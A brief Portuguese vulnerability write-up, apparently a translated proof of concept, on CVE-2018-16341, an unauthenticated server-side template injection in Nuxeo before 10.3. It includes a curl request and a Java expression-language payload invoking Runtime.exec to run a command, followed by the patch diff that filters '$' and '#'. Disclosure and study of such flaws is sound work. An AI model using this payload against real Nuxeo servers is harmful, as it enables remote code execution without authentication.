
CVE-2018-16341 - Execução Remota de Código no Nuxeo sem autenticação usando Injeção de Template no Lado do Servidor
Bypass de Autenticação e Execução Remota de Código no Nuxeo < 10.3 usando um SSTI - CVE-2018-16341

Análise detalhada (não em inglês):
Advisory de Segurança:
Nota: A versão 9.x do Nuxeo não é mais suportada pela Nuxeo, mas um hotfix foi fornecido para a versão 9.x. Do meu lado, a versão 9.10 estava vulnerável.
Este PoC explora uma Injeção de Template no Lado do Servidor (SSTI) para alcançar a RCE localizada no arquivo NuxeoUnknownResource.java
curl http://127.0.0.1:8080/nuxeo/login.jsp/pwn${-7+7}.xhtml"
${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/pwn.txt",null).waitFor()}
Correção
@@ -94,8 +92,13 @@ public void connect() throws IOException {
@Override
public InputStream getInputStream() throws IOException {
+ String message = "ERROR: facelet not found";
+ // NXP-25746
+ if (Framework.isDevModeSet() && !path.contains("$") && !path.contains("#")) {
+ message += " at '" + path + "'";
+ }
String msg = "<span><span style=\"color:red;font-weight:bold;\">"
- + StringEscapeUtils.escapeHtml4(errorMessage) + "</span><br/></span>";
+ + StringEscapeUtils.escapeHtml4(message) + "</span><br/></span>";
return new ByteArrayInputStream(msg.getBytes());
}
}